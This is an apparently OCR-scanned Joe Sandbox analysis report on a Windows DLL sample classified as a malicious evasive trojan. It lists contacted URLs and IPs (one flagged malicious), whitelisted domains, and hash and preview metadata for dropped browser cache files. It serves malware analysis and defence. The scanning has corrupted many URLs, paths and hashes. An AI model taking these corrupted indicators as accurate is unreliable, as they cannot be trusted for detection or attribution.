st%c3%bcrmt-wieder-f%c3%bcr-kloten/ar-BB1dHHNA?ocid
hitp://https://cdn.cookielaw.org/vendorlist/iabData.json 55a804ab-e5c6-4b97-9319-86263d false high
365d28[1].json.5.dr
hitp://https://www.msn.com/de- de-ch[1].htm.5.dr false high
ch/homepage/api/pdp/updatepdpdata”
hitp://https://contoso.com/ powershell.exe, 00000020.00000 false e URL Reputation: safe unknown
002.447196820.0000027A90064000 e URL Reputation: safe
.00000004.00000001.sdmp e URL Reputation: safe
hitp://https://cdn.cookielaw.org/vendorlist/iab2Data.json 55a804ab-e5c6-4b97-9319-86263d false high
365d28[1].json.5.dr
hitp://https://onedrive.live.com/?qt=mru;Aktuelle 85-0f8009-68ddb2ab[1].js.5.dr false high
hitp://https://www.msn.com/de-ch/?ocid=iehp {01B3F874-7035-11EB-90E5-ECF4B false high
B570DC9}.dat.3.dr
hitp://https://sp.booking.com/index.html? de-ch[1].htm.5.dr false high
aid=1589774&label=dech-prime-hp-shoppingstripe-nav
hitp://https://www.msn.com/de- de-ch[1].htm.5.dr false high
ch/homepage/api/modules/fetch”
hitp://https://mem.gfx.ms/meversion/? de-ch[1].htm.5.dr false e URL Reputation: safe unknown
partner=msn&market=de-ch" e URL Reputation: safe
e URL Reputation: safe
hitp://nuget.org/NuGet.exe powershell.exe, 00000020.00000 false high
002.447196820.0000027A90064000
.00000004.00000001.sdmp
hitp:/fiwww.nytimes.com/ msapplication.xml3.3.dr false high
hitp://https://go.microsoft.c powershell.exe, 00000020.00000 false e Avira URL Cloud: safe unknown

Copyright null 2021

003.394678008.0000027AE87BB000
.00000004.00000001.sdmp
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Name Source Malicious Antivirus Detection Reputation

hitp://https://web.vortex.data.msn.com/collect/v1/t.gif? de-ch[1].htm.5.dr false high
name=%27Ms.Webi.PageView%27&ver=%272.1%27&a

hitp://https://www.bidstack.com/privacy-policy/ iab2Data[1].json.5.dr false e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

hitp://https://onedrive.live.com/about/en/download/ 85-0f8009-68ddb2ab[1].js.5.dr false high
hitp://popup.taboola.com/german auction[1].htm.5.dr false high
hitp://https://www.msn.com/de-ch/news/other/40-000-franken-  de-ch[1].htm.5.dr false high

f%c3%Dbcr-quartier-projekte-in-wipkingen/ar-BB1dH

hitp://https://www.ricardo.ch/? de-ch[1].htm.5.dr false high
utm_source=msn&utm_medium=affiliate&utm_campaign=msn
_mestripe_logo_d

hitp://https://twitter.com/ de-ch[1].htm.5.dr false high
hitp://https://clkde.tradedoubler.com/click? de-ch[1].htm.5.dr false high
p=245744&a=3064090&9g=24903118&epi=ch-de

hitp://https://outlook.live.com/calendar 85-0f8009-68ddb2ab[1].js.5.dr false high
hitp://https://img.img- auction[1].htm.5.dr false e URL Reputation: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311 e URL Reputation: safe
%2Cw_207%2Cc_fill%2Cg_faces:au e URL Reputation: safe
hitp://https://onedrive.live.com/#qt=mru 85-0f8009-68ddb2ab[1].js.5.dr false high

hitp://https://api.taboola.com/2.0/json/msn-ch-de- auction[1].htm.5.dr false high
home/recommendations.notify-click?app.type=desktop&ap

hitp://https://www.msn.com?form=MY0104&0CID=MY0104  de-ch[1].htm.5.dr false high

Contacted IPs

»
l..
] No. of IPs < 25%
B 25% < No. of IPs < 50% /)'
B 50% < No. of IPs < 75%
B 75% < No. of IPs
Public
P Domain Country Flag ASN ASN Name Malicious
34.65.144.159 unknown United States = 139070 GOOGLE-AS- true
APGoogleAsiaPacificPteLtd
SG
104.20.184.68 unknown United States = 13335 CLOUDFLARENETUS false
151.101.1.44 unknown United States = 54113 FASTLYUS false

General Information
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Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Copyright null 2021

31.0.0 Emerald
353282
16.02.2021
00:56:33
CloudBasic

Oh 9m 3s

false

light

Securitelnfo.com.Generic.mg.f77e7bd43f365593.8235
(renamed file extension from 8235 to dll)

default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

40
0
0
0
0

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
Ld
L]
default
Timeout
MAL
mall100.troj.evad.winDLL@24/149@18/3
Failed
Failed

e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
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Warnings: Show All

e Exclude process from analysis (whitelisted):
taskhostw.exe, audiodg.exe,
BackgroundTransferHost.exe, ielowutil.exe,
SgrmBroker.exe, backgroundTaskHost.exe,
WmiPrvSE.exe, svchost.exe, UsoClient.exe

e TCP Packets have been reduced to 100

e Created / dropped Files have been reduced to 100

e Excluded IPs from analysis (whitelisted):
104.43.193.48, 92.122.145.220, 13.88.21.125,
88.221.62.148, 204.79.197.203, 204.79.197.200,
13.107.21.200, 92.122.213.231, 92.122.213.187,
65.55.44.109, 184.30.24.22, 23.218.208.56,
51.104.144.132, 152.199.19.161, 92.122.213.194,
92.122.213.247,51.103.5.186, 8.253.95.121,
67.27.159.126, 67.26.75.254, 67.26.83.254,
8.253.95.249, 51.11.168.160, 52.155.217.156,
20.54.26.129

e Excluded domains from analysis (whitelisted):
arc.msn.com.nsatc.net, store-images.s-
microsoft.com-c.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net, arc.msn.com,
e11290.dspg.akamaiedge.net,
iecvlist.microsoft.com,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, e12564.dspb.akamaiedge.net,
wns.notify.trafficmanager.net, go.microsoft.com,
www-bing-com.dual-a-0001.a-msedge.net,
audownload.windowsupdate.nsatc.net,
displaycatalog.mp.microsoft.com,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
auto.au.download.windowsupdate.com.c.footprint.n
et, prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, www.bing.com,
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
client.wns.windows.com, fs.microsoft.com, dual-a-
0001.a-msedge.net, ie9comview.vo.msecnd.net, a-
0003.a-msedge.net, cvision.media.net.edgekey.net,
displaycatalog.md.mp.microsoft.com.akadns.net,
ris-prod.trafficmanager.net,
e1723.g.akamaiedge.net,
ctldl.windowsupdate.com, www-msn-com.a-0003.a-
msedge.net, a1999.dscg2.akamai.net,
web.vortex.data.trafficmanager.net,
e607.d.akamaiedge.net,
skypedataprdcolcus15.cloudapp.net,
web.vortex.data.microsoft.com,
ris.api.iris.microsoft.com, a-0001.a-
afdentry.net.trafficmanager.net, store-images.s-
microsoft.com,
blobcollector.events.data.trafficmanager.net,
go.microsoft.com.edgekey.net, static-global-s-msn-
com.akamaized.net,
skypedataprdcolwus15.cloudapp.net, vip2-
par02p.wns.notify.trafficmanager.net,
cs9.wpc.vOcdn.net

e Report size exceeded maximum capacity and may
have missing behavior information.

e Report size getting too big, too many
NtDeviceloControlFile calls found.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtProtectVirtualMemory calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

00:58:41 API Interceptor 39x Sleep call for process: powershell.exe modified
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https://view.joesandbox.com/analysis/264076/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264076/html/none?idtype=webid
https://view.joesandbox.com/analysis/264062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264062/html/none?idtype=webid

Match

GOOGLE-AS-
APGoogleAsiaPacificPteLtdSG

JA3 Fingerprints

Match
9e10692f1b7f78228b2d4e424db3a98c

Dropped Files

No context
Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

34.65.144.159
34.65.144.159
34.66.107.230
34.66.107.230
34.65.61.179
34.66.107.230
34.66.107.230
34.66.107.230
34.66.107.230
34.119.201.254
34.67.99.22
34.101.72.248

34.101.72.248

34.66.120.49

34.67.97.45
34.67.97.45
34.65.231.1
34.65.231.1
34.65.231.1
34.65.231.1

Context

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44

104.20.184.68
151.101.1.44
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https://view.joesandbox.com/analysis/264768/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264768/html/none?idtype=webid
https://view.joesandbox.com/analysis/264767/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264767/html/none?idtype=webid
https://view.joesandbox.com/analysis/260988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260988/html/none?idtype=webid
https://view.joesandbox.com/analysis/260980/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260980/html/none?idtype=webid
https://view.joesandbox.com/analysis/260829/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260829/html/none?idtype=webid
https://view.joesandbox.com/analysis/260653/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260653/html/none?idtype=webid
https://view.joesandbox.com/analysis/260651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260651/html/none?idtype=webid
https://view.joesandbox.com/analysis/260639/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260639/html/none?idtype=webid
https://view.joesandbox.com/analysis/260637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260637/html/none?idtype=webid
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid
https://view.joesandbox.com/analysis/252350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252350/html/none?idtype=webid
https://view.joesandbox.com/analysis/238427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238427/html/none?idtype=webid
https://view.joesandbox.com/analysis/228410/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228410/html/none?idtype=webid
https://view.joesandbox.com/analysis/222233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222233/html/none?idtype=webid
https://view.joesandbox.com/analysis/212470/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/212470/html/none?idtype=webid
https://view.joesandbox.com/analysis/212431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/212431/html/none?idtype=webid
https://view.joesandbox.com/analysis/203285/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203285/html/none?idtype=webid
https://view.joesandbox.com/analysis/203283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203283/html/none?idtype=webid
https://view.joesandbox.com/analysis/202692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/202692/html/none?idtype=webid
https://view.joesandbox.com/analysis/202690/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/202690/html/none?idtype=webid
https://view.joesandbox.com/analysis/264768/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264768/html/none?idtype=webid
https://view.joesandbox.com/analysis/264767/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264767/html/none?idtype=webid
https://view.joesandbox.com/analysis/264765/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264765/html/none?idtype=webid
https://view.joesandbox.com/analysis/264763/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264763/html/none?idtype=webid
https://view.joesandbox.com/analysis/264762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264762/html/none?idtype=webid
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid
https://view.joesandbox.com/analysis/264624/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264624/html/none?idtype=webid
https://view.joesandbox.com/analysis/264610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264610/html/none?idtype=webid
https://view.joesandbox.com/analysis/264577/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264577/html/none?idtype=webid
https://view.joesandbox.com/analysis/264573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264573/html/none?idtype=webid
https://view.joesandbox.com/analysis/264518/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264518/html/none?idtype=webid
https://view.joesandbox.com/analysis/264435/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264435/html/none?idtype=webid
https://view.joesandbox.com/analysis/264422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264422/html/none?idtype=webid
https://view.joesandbox.com/analysis/264380/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264380/html/none?idtype=webid
https://view.joesandbox.com/analysis/264338/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264338/html/none?idtype=webid
https://view.joesandbox.com/analysis/264263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264263/html/none?idtype=webid
https://view.joesandbox.com/analysis/264262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264262/html/none?idtype=webid
https://view.joesandbox.com/analysis/264261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264261/html/none?idtype=webid
https://view.joesandbox.com/analysis/264257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264257/html/none?idtype=webid
https://view.joesandbox.com/analysis/264224/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264224/html/none?idtype=webid

Created | dropped Files

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\DOMStore\DURNCK2N\www.msn[2].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with no line terminators

dropped

13

2.469670487371862

false

3:D90aKh:JFKb

C1DDEA3EF6BBEF3E7060A1A9AD89E4CS
35E3224FCBD3E1AF306F2B6A2C6BBEAIBO867966
B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB

6BESCEC7C862AFAESB37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B8995520D72B7C08752C0BE445DCEADESCF79F73480910FE
D

false

<root></root>

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\DOMStore\QALADACS\contextual.media[1].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

2737

4.856183482133737

false
48:LFqu2ququlqugsqsrgsqTgTgTigmgmgmagm8Eygm8Eygm8Eygm8Eyqm8Ey7:BN2NN1Nffrf444j2zZZ8EyZ8EyZ8EyZ|
ADB6E3327EFE2C64A2BC880D938DEAIF

F7EBA026EA75A096E60EAEB10730D6F7AC348973
DD641ADB19E73D2AEG8ES3E6879851F3CC46B2865880B3AC826755EF54797852
78A966D143BC8CDI918518EB3DF19FD608A2832870E6F90937030E0B7465ECFEE3FD976C600706FF8004CD74F496898A9E3D77623FE95FB371A0F1CAF926996F1

false

<root></root><root><item name="HBCM_BIDS" value="{}" Itime="3350955680" htime="30868545" /></root><root><item name="HBCM_BIDS" value="{}" Itime="33511
95680" htime="30868545" /><item name="mntest" value="mntest" ltime="3351235680" htime="30868545" /></root><root><item name="HBCM_BIDS" value="{}" Itim
e="3351195680" htime="30868545" /></root><root><item name="HBCM_BIDS" value="{}" Itime="3351195680" htime="30868545" /><item name="mntest" value="mnte
st" ltime="3351315680" htime="30868545" /></root><root><item name="HBCM_BIDS" value="{}" ltime="3351195680" htime="30868545" /></root><root><item name
="HBCM_BIDS" value="{}" Itime="3351395680" htime="30868545" /></root><root><item name="HBCM_BIDS" value="{}" ltime="3351395680" htime="30868545" /><item
name="mntest" value="mntest" Itime="3355115680" htime="30868545" /></root><root><item name="HBCM_BIDS" value="{}" ltime="3351395680" htime="30868545" />
</root><root><item name="HBCM_BIDS" value="{}" Itime="3357835680" htime="30868545" /></root><ro

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\RecoveryStore.{01B3F872-7035-11EB-90E5-ECF4BB570DC9}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

89384

2.185480627753312

false
384:rIFJIrq2xgKEmME/ONRI2KgNFHduvHQS497ZIUFESetFO:YMSdwfr49ZiFstFO
4E36E2162F7DC3373FD5D6F4C18BBEE2
F6ABA565B23D5B0379BEF186FCOB5C40A3EES197
25C752E4BEA2B35DFB049DC5B5950934F2E44BF358F1E0833620B1F65D718F11

8E35618C937CAC5B45CAB7C98D98FFF8902EF856AB592EA270B8F02CA93AE7FAFADFDBESFB082DBE7EEA04189029744AE83D9E27010DD45FF40A741D5BD1B
DEF

false

C:\Users\user\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{01B3F874-7035-11EB-90E5-ECF4BB570DC9}.dat

Process:
File Type:
Category:
Size (bytes):

Copyright null 2021

C:\Program Files\internet exploreniexplore.exe
Microsoft Word Document

dropped

194970
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C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{01B3F874-7035-11EB-90E5-ECF4BB570DC9}.dat

Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

3.584743351625954

false

3072:eZ/2BfcYmuSkLTzGttZ/2Bfc/muSkLTzGtT:XMs

FEAAEOF615C89BA313FCAC5D48C5854E

3946989432071FCE27705ED72EB6E6959D5C76B9

91B5B3C97869BE53277B7AEAEC9017C6FF35C6E38DASE132E8794A923B63979B
ABE661E539F654A5EC43EB36B5DAIFBD62A31835F68268B49524518ABAD2B1C6960B3F897128C5506AF8588C8AE6CIDCE665C20F00616C8C33125FD1ICEFD77A

false

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{1F3F0268-7035-11EB-90E5-ECF4BB570DC9}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

28140

1.9185991907312736

false

192:rKZtQ56 Tkkjt2FWVMPNp1LQPDIpY1LQP/4A:r2yUYWkcklpaBpYa3b
3C7950595A8DD71AB3F992D9C973E484
3257D427E2D47E923F6B8506B33404A47A16B54F
222D106064561C1ECCEC575ABEEEEOA2D680DAEAASDFBD2330DBFOFIC73F8E70

C9B1AEE22B5DDE08390720D08FC4D8BAGECD8C43040F5F23C8397BF1C014361F2CB5CB92ADC0C4054DCC84E7849D7C77215203328F97527BBC4D39633DB84E
A

false

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{1F3F026A-7035-11EB-90E5-ECF4BB570DC9}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

28168

1.920960113809461

false

96:rPZYQA6YBSKjl2VWUMOBOROTCIOKROTGA:rPZY QA6YKKjl2VWUMOBORYclOKRYGA
B375191732215A6EF12BB80A9AFA3CAL
50CFAD6BC2035247E9AABC1EA35748FC041D6FF8
FDC4E60E25550308D58C6B76F68869BB579EBA540865A0A160534ED3696B2F77
5624A910312A7D3DF592BC68A577CE198A0263C68114233BA1B94912C2E7B784953E647A0A8323A85376327446B47922627373B03E7AD25E4F3DF02CE6826538

false

.R.0.0t. .[E.n.tr.

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{1F3F026C-7035-11EB-90E5-ECF4BB570DC9}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

modified

28156

1.9219874696060966

false

192:rFZmQu64k8jx2tWvoMiRdGl45amGl+l45amNA:rLz5FugEFwt5ammV5ame
C41C9B7F58D6B461B7F92000E570FASE
0023C2B553DE48B5603D8494C428B2046DA12352
9207D3E216A14B6512ED60D50EDFB1F09614260D6A567F2AE987A1AEE648E3D5

E618112E5326C7D06F1FD25D829C1B6AF7AB839012D8ES572D2AA870BOFDDBCBC8CBCAE738013B34829D32CF1D06D5E70408F132972FF739951B56E6E466DB4l
C

false
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C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{1F3F026C-7035-11EB-90E5-ECF4BB570DC9}.dat

Preview:

.R.0.0.t. .[E.n.tr.

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

Process: C:\Program Files\internet exploreniexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 657

Entropy (8bit): 5.105950244599583

Encrypted: false

SSDEEP: 12: TMHdNMNXOEgGDViIGDV1nWiml002EtM3MHANMNxOEgGDViGDV1nWimI00ONVbkEty:2d6NxOMDjD7SZHKdE6NXOMD]D7SZ7Qb
MD5: 674C1FD8DB1C5B4BBFBB770B7CICA10F

SHA1L: AD15442780F345AE0F8318CDD29BDA170480E58D

SHA-256: 751B75C4D3919D6126008ECI50B58AA6523E9873159350807B96822026EAE7AL

SHA-512: 565381A91C7847D0756C33BEAEC70FCIBC6B5EEBA615179B27432B92645C451269281024C99878D774B833D6EC467BF733961C732737EFB61ADCECB1A16B983E
Malicious: false

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xd8cb6d59,0x01d70441</date><
accdate>0xd8chb6d59,0x01d70441</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xd8cb6d59,0x01d70441</date><accdate>0
xd8cb6d59,0x01d70441</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile
></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml

Process: C:\Program Files\internet exploreniexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 654

Entropy (8bit): 5.095844602849801

Encrypted: false

SSDEEP: 12:TMHdNMNxe2kgG+viG+v1nWiml002EtM3MHANMNxe2kgG+viG+v1nWiml00ONkakU:2d6NxrsSkSZHKd6NxrsSkSZ72a7b
MD5: 3C5A6510F9660AED41405068CF01B86A

SHA1L: DCCAF244C29549FBA2B2367AB6AF792E50E00622

SHA-256: 375ABEA33863EE9DOFF190432D4790FDIDD3397706 CFAEBFOE462131ED8BDESC

SHA-512: 7B71840FF6BC6EDFD3150A5B91FCD21B6810C824994C65135221BEE743A0E743E838C488864686847B3629BB2B41852239192FCFAA6A06814016E3D1BA23D98E
Malicious: false

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xd8c44641,0x01d70441</date><a
ccdate>0xd8c44641,0x01d70441</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xd8c44641,0x01d70441</date><a
ccdate>0xd8c44641,0x01d70441</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml

Process: C:\Program Files\internet exploreniexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 663

Entropy (8bit): 5.12345684944653

Encrypted: false

SSDEEP: 12: TMHdNMNxvLgGDViGDV1nWiml002EtM3MHANMNxvLgGDViGDV1nWiml00ONmMZEtMb:2d6Nxv3DjD7SZHKd6Nxv3DjD7SZ7Ub
MDS5: 8547CA0304FC90A81D13CD1E362CB006

SHA1L: ODF4ACFF3A6D67E1776DE60B392954DESC706B29D

SHA-256: E29BA4535C8FDABCOD69F222395A551F17E83E5055DB9FA6D53CF06BC1C50095

SHA-512: C0335F2FECD7EA9A127674A827F43DE3F283E22F8C08DOCBCBAE2B23EB482747F0823F4B76939A72D548897EE5261200886360806EC1C3FCIC8C1155825495AE
Malicious: false

Preview:

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xd8ch6d59,0x01d70441</date>
<accdate>0xd8ch6d59,0x01d70441</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xd8cbh6d59,0x01d70441</date><accda
te>0xd8ch6d59,0x01d70441</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipe
dia.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Process: C:\Program Files\internet exploreniexplore.exe
File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category: dropped
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C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

648

5.0837800378490465

false

12: TMHANMNXxigG7QiG7Q1nWimI002EtM3MHANMNXigG7QiG7Q1nWimI00ONd5EtMb:2d6NxS06SZHKA6NXS06SZ7njb

98239E4525685EAD9722BAD2B583CBCC

01A9COE71076A7830EEA685DCE3D4E061ECE6357

279F554B044924D2E2DB7308192BF3D5B60D2FB535D2BFEC046235A13045DCEA
960DF9605CD116BD013C994B46D67FA3D5E970467A83DCB0179DCA28A9489F7552717D9AC3872BO6EA069652D7F8BBFF37436C2FAABIF888E7B12BE496FB6BE

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xd8c90ae6,0x01d70441</date><acc
date>0xd8c90ae6,0x01d70441</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml
version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xd8c90ae6,0x01d70441</date><accdate>0xd8c90
ae6,0x01d70441</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

657

5.136543075535882

false

12: TMHdANMNxhGwgGDViGDV1nWimI002EtM3MHANMNxhGwgGDViGDV1nWimI00ON8K0z:2d6NxQIDjD7SZHKdENxQIDjD7SZ7uKa/
73FC9722410F442D5F53D488A42DFB6A

AF1EF2537E8EDO63EFADF6B16216FF628DB75D81
